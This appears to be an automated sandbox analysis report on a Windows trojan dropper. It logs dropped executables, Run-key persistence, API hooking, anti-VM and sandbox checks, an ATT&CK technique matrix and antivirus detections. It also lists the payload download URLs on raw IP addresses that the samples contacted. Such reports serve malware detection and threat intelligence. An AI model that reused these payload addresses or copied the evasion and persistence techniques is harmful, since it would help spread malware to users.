Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: textshaping.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: wininet.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\Desktop\ 16.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\ 16.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\ 16.exeSection loaded: wtsapi32.dllJump to behavior
Source: C:\Users\user\Desktop\ 16.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\ 16.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\ 16.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\ 16.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\Desktop\ 16.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: acgenral.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: samcli.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: msacm32.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: dwmapi.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: winmmbase.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: winmmbase.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: aclayers.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: sfc.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: sfc_os.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: msvcp60.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: dwrite.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: windowscodecs.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: textshaping.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\update.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32Jump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0041AAD0 GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,FreeLibrary,FreeLibrary,0_2_0041AAD0
Source: initial sampleStatic PE information: section where entry point is pointing to: .vmp1
Source: 16.exe.0.drStatic PE information: section name: .vmp0
Source: 16.exe.0.drStatic PE information: section name: .vmp1
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00481DA0 push eax; ret 0_2_00481DCE
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00483FF4 push eax; ret 0_2_00484012
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00481DA0 push eax; ret 3_2_00481DCE
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00483FF4 push eax; ret 3_2_00484012
Source: C:\Users\user\Desktop\update.exeCode function: 7_3_02188000 push eax; ret 7_3_0218802E
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_004821B0 push eax; ret 7_2_004821DE
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_00484854 push eax; ret 7_2_00484872
Source: update.exe.4.drStatic PE information: section name: .text entropy: 7.398153127263923
Source: C:\Users\user\Desktop\ 16.exeFile created: \ 16.exe
Source: C:\Users\user\Desktop\ 16.exeFile created: \ 16.exeJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeFile created: C:\Users\user\Desktop\ 16.exeJump to dropped file
Source: C:\Users\user\Desktop\ 16.exeFile created: C:\Users\user\Desktop\update.exeJump to dropped file
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run 1Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeRegistry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run 1Jump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Source: C:\Users\user\Desktop\ 16.exeMemory written: PID: 6340 base: 11A0005 value: E9 2B BA D3 75 Jump to behavior
Source: C:\Users\user\Desktop\ 16.exeMemory written: PID: 6340 base: 76EDBA30 value: E9 DA 45 2C 8A Jump to behavior
Source: C:\Users\user\Desktop\ 16.exeMemory written: PID: 6340 base: 1210008 value: E9 8B 8E D1 75 Jump to behavior
Source: C:\Users\user\Desktop\ 16.exeMemory written: PID: 6340 base: 76F28E90 value: E9 80 71 2E 8A Jump to behavior
Source: C:\Users\user\Desktop\ 16.exeMemory written: PID: 6340 base: 2CE0005 value: E9 8B 4D 39 73 Jump to behavior
Source: C:\Users\user\Desktop\ 16.exeMemory written: PID: 6340 base: 76074D90 value: E9 7A B2 C6 8C Jump to behavior
Source: C:\Users\user\Desktop\ 16.exeMemory written: PID: 6340 base: 2CF0005 value: E9 EB EB 39 73 Jump to behavior
Source: C:\Users\user\Desktop\ 16.exeMemory written: PID: 6340 base: 7608EBF0 value: E9 1A 14 C6 8C Jump to behavior
Source: C:\Users\user\Desktop\ 16.exeMemory written: PID: 6340 base: 2D00005 value: E9 8B 8A 8A 73 Jump to behavior
Source: C:\Users\user\Desktop\ 16.exeMemory written: PID: 6340 base: 765A8A90 value: E9 7A 75 75 8C Jump to behavior
Source: C:\Users\user\Desktop\ 16.exeMemory written: PID: 6340 base: 2D10005 value: E9 2B 02 8C 73 Jump to behavior
Source: C:\Users\user\Desktop\ 16.exeMemory written: PID: 6340 base: 765D0230 value: E9 DA FD 73 8C Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0041E8A0 DestroyIcon,IsWindowVisible,IsIconic,IsZoomed,GetWindowRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMenu,DeleteMenu,GetSystemMenu,0_2_0041E8A0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00422C90 IsIconic,IsZoomed,LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,SystemParametersInfoA,IsWindow,ShowWindow,0_2_00422C90
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0041EF70 IsIconic,IsZoomed,0_2_0041EF70
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004194E0 IsWindow,IsIconic,SetActiveWindow,IsWindow,IsWindow,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,SetParent,SetWindowPos,IsWindow,SendMessageA,SendMessageA,DestroyAcceleratorTable,IsWindow,IsWindow,IsWindow,IsWindow,IsWindow,GetParent,GetFocus,IsWindow,SendMessageA,IsWindow,GetFocus,SetFocus,0_2_004194E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0047FE9F IsIconic,GetWindowPlacement,GetWindowRect,0_2_0047FE9F
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0041E8A0 DestroyIcon,IsWindowVisible,IsIconic,IsZoomed,GetWindowRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,GetSystemMenu,DeleteMenu,GetSystemMenu,3_2_0041E8A0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00422C90 IsIconic,IsZoomed,LoadLibraryA,GetProcAddress,GetProcAddress,FreeLibrary,SystemParametersInfoA,IsWindow,ShowWindow,3_2_00422C90
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0041EF70 IsIconic,IsZoomed,3_2_0041EF70
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004194E0 IsWindow,IsIconic,SetActiveWindow,IsWindow,IsWindow,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,SetParent,SetWindowPos,IsWindow,SendMessageA,SendMessageA,DestroyAcceleratorTable,IsWindow,IsWindow,IsWindow,IsWindow,IsWindow,GetParent,GetFocus,IsWindow,SendMessageA,IsWindow,GetFocus,SetFocus,3_2_004194E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0047FE9F IsIconic,GetWindowPlacement,GetWindowRect,3_2_0047FE9F
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_00480750 MonitorFromWindow,IsIconic,GetWindowPlacement,GetWindowRect,7_2_00480750
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_00437210 IsWindow,IsIconic,SetActiveWindow,IsWindow,IsWindow,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,DestroyAcceleratorTable,DestroyMenu,SetParent,SetWindowPos,IsWindow,SendMessageA,SendMessageA,DestroyAcceleratorTable,IsWindow,IsWindow,IsWindow,IsWindow,IsWindow,GetParent,GetFocus,IsWindow,SendMessageA,IsWindow,GetFocus,SetFocus,7_2_00437210
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_004438D0 IsIconic,IsZoomed,GetWindowRect,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,IsWindow,ShowWindow,7_2_004438D0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\ 16.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Users\user\Desktop\update.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

Malware Analysis System Evasion

barindex
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0046EA707_2_0046EA70
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_00477AC07_2_00477AC0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_00473DE07_2_00473DE0
Source: 16.exe, 00000004.00000002.1880621041.00000000007F0000.00000020.00000001.01000000.00000007.sdmpBinary or memory string: SBIEDLL.DLL
Source: 16.exe, 00000004.00000002.1880621041.00000000007F0000.00000020.00000001.01000000.00000007.sdmpBinary or memory string: SBIEDLL.DLL2E3
Source: C:\Users\user\Desktop\ 16.exeRDTSC instruction interceptor: First address: AEF537 second address: AEF53F instructions: 0x00000000 rdtsc 0x00000002 btr edx, ebp 0x00000005 xor cl, FFFFFFB7h 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ 16.exeRDTSC instruction interceptor: First address: A0401F second address: A04027 instructions: 0x00000000 rdtsc 0x00000002 btr edx, ebp 0x00000005 xor cl, FFFFFFB7h 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ 16.exeRDTSC instruction interceptor: First address: A1B927 second address: A1B929 instructions: 0x00000000 rdtsc 0x00000002 rdtsc
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeAPI coverage: 6.0 %
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeAPI coverage: 5.5 %
Source: C:\Users\user\Desktop\update.exeAPI coverage: 3.7 %
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_00473DE07_2_00473DE0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004801E0 lstrcpyA,FindFirstFileA,GetLastError,SetLastError,0_2_004801E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004927A8 __EH_prolog,GetFullPathNameA,lstrcpynA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpyA,0_2_004927A8
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00423610 FindFirstFileA,FindClose,0_2_00423610
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0041B240 FindNextFileA,FindClose,FindFirstFileA,FindClose,0_2_0041B240
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00411EF0 FindFirstFileA,SendMessageA,SendMessageA,FindNextFileA,FindClose,SendMessageA,0_2_00411EF0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004801E0 lstrcpyA,FindFirstFileA,GetLastError,SetLastError,3_2_004801E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004927A8 __EH_prolog,GetFullPathNameA,lstrcpynA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpyA,3_2_004927A8
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00423610 FindFirstFileA,FindClose,3_2_00423610
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0041B240 FindNextFileA,FindClose,FindFirstFileA,FindClose,3_2_0041B240
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00411EF0 FindFirstFileA,SendMessageA,SendMessageA,FindNextFileA,FindClose,SendMessageA,3_2_00411EF0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_004929E2 __EH_prolog,GetFullPathNameA,lstrcpynA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrcpyA,7_2_004929E2
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_00438DA0 FindNextFileA,FindClose,FindFirstFileA,FindClose,7_2_00438DA0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0043BF10 FindFirstFileA,FindClose,7_2_0043BF10
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0042FF90 FindFirstFileA,SendMessageA,SendMessageA,FindNextFileA,FindClose,SendMessageA,7_2_0042FF90
Source: #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW{Q
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.00000000006E4000.00000004.00000020.00020000.00000000.sdmp, #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmp, #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000063E000.00000004.00000020.00020000.00000000.sdmp, #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
Source: 16.exe, 00000004.00000002.1882625896.000000000137A000.00000004.00000020.00020000.00000000.sdmp, 16.exe, 00000004.00000003.1879496954.000000000137A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllnto!
Source: C:\Users\user\Desktop\update.exeAPI call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\ 16.exeSystem information queried: ModuleInformationJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0041AAD0 GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,FreeLibrary,FreeLibrary,0_2_0041AAD0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00407136 mov ebx, dword ptr fs:[00000030h]0_2_00407136
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00407136 mov ebx, dword ptr fs:[00000030h]3_2_00407136
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0040158F mov eax, dword ptr fs:[00000030h]7_2_0040158F
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00440F30 GetProcessHeap,OleInitialize,GetModuleFileNameA,SetCurrentDirectoryA,LoadCursorA,GetStockObject,GetCurrentThreadId,0_2_00440F30
Source: C:\Users\user\Desktop\ 16.exeProcess token adjusted: DebugJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0048CA6A SetUnhandledExceptionFilter,0_2_0048CA6A
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0048CA7C SetUnhandledExceptionFilter,0_2_0048CA7C
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0048CA6A SetUnhandledExceptionFilter,3_2_0048CA6A
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0048CA7C SetUnhandledExceptionFilter,3_2_0048CA7C
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0048C457 SetUnhandledExceptionFilter,7_2_0048C457
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0048C469 SetUnhandledExceptionFilter,7_2_0048C469
Source: C:\Users\user\Desktop\update.exeCode function: 7_3_02184C10 cpuid 7_3_02184C10
Source: C:\Users\user\Desktop\ 16.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\ 16.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00483200 GetLocalTime,GetSystemTime,GetTimeZoneInformation,0_2_00483200
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0048CDBC GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,0_2_0048CDBC
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0049C369 GetVersion,GetProcessVersion,LoadCursorA,LoadCursorA,LoadCursorA,0_2_0049C369
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_00474C10 htons,bind,listen,7_2_00474C10
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
Native API
1
Registry Run Keys / Startup Folder
1
Process Injection
1
Masquerading
1
Credential API Hooking
2
System Time Discovery
Remote Services1
Credential API Hooking
1
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/Job1
DLL Side-Loading
1
Registry Run Keys / Startup Folder
1
Process Injection
1
Input Capture
421
Security Software Discovery
Remote Desktop Protocol1
Input Capture
1
Non-Standard Port
Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
DLL Side-Loading
1
Deobfuscate/Decode Files or Information
Security Account Manager2
Process Discovery
SMB/Windows Admin Shares1
Archive Collected Data
12
Ingress Tool Transfer
Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook4
Obfuscated Files or Information
NTDS1
Application Window Discovery
Distributed Component Object Model3
Clipboard Data
1
Non-Application Layer Protocol
Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
Software Packing
LSA Secrets1
File and Directory Discovery
SSHKeylogging21
Application Layer Protocol
Scheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
DLL Side-Loading
Cached Domain Credentials124
System Information Discovery
VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
#U4fdd#U62a4#U795e1.exe47%ReversingLabsWin32.Trojan.Generic
#U4fdd#U62a4#U795e1.exe100%Joe Sandbox ML
SourceDetectionScannerLabelLink
C:\Users\user\Desktop\update.exe100%Joe Sandbox ML
C:\Users\user\Desktop\ 16.exe100%Joe Sandbox ML
C:\Users\user\Desktop\ 16.exe29%ReversingLabs
C:\Users\user\Desktop\update.exe61%ReversingLabsWin32.Trojan.FlyAgent
No Antivirus matches
No Antivirus matches
SourceDetectionScannerLabelLink
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt-U0%Avira URL Cloudsafe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe1Z0%Avira URL Cloudsafe
http://38.6.175.25:901/down0%Avira URL Cloudsafe
http://42.193.100.57/0%Avira URL Cloudsafe
http://38.6.175.25:901/downhttp://38.6.175.25:9010%Avira URL Cloudsafe
http://38.6.175.25:90180%Avira URL Cloudsafe
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtSB50%Avira URL Cloudsafe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe~0%Avira URL Cloudsafe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.execY0%Avira URL Cloudsafe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe=20%Avira URL Cloudsafe
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt0%Avira URL Cloudsafe
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtY0%Avira URL Cloudsafe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exez0%Avira URL Cloudsafe
http://38.6.175.25:9010%Avira URL Cloudsafe
http://.httpsset-cookie:;;0%Avira URL Cloudsafe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exeN20%Avira URL Cloudsafe
https://trustsing.com/publish/iDefender.exew0%Avira URL Cloudsafe
http://38.6.175.25:901/downt0%Avira URL Cloudsafe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exec30%Avira URL Cloudsafe
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txt(0%Avira URL Cloudsafe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe70%Avira URL Cloudsafe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe#0%Avira URL Cloudsafe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe0%Avira URL Cloudsafe
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtKB-0%Avira URL Cloudsafe
http://38.6.175.25:901/downLq0%Avira URL Cloudsafe
http://38.6.175.25:901C:0%Avira URL Cloudsafe
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe(0%Avira URL Cloudsafe
No contacted domains info
NameMaliciousAntivirus DetectionReputation
http://42.193.100.57/%E4%BF%9D%E6%8A%A4%E7%A5%9E.txtfalse
  • Avira URL Cloud: safe
unknown
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exefalse
  • Avira URL Cloud: safe
unknown
NameSourceMaliciousAntivirus DetectionReputation
http://38.6.175.25:901/downupdate.exe, 00000007.00000002.1904789983.0000000000660000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904226340.00000000001E0000.00000004.00000020.00020000.00000000.sdmp, update.exe, 00000007.00000002.1904789983.000000000067D000.00000004.00000020.00020000.00000000.sdmpfalse
  • Avira URL Cloud: safe
unknown
http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe1Z#U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmpfalse
  • Avira URL Cloud: safe
unknown
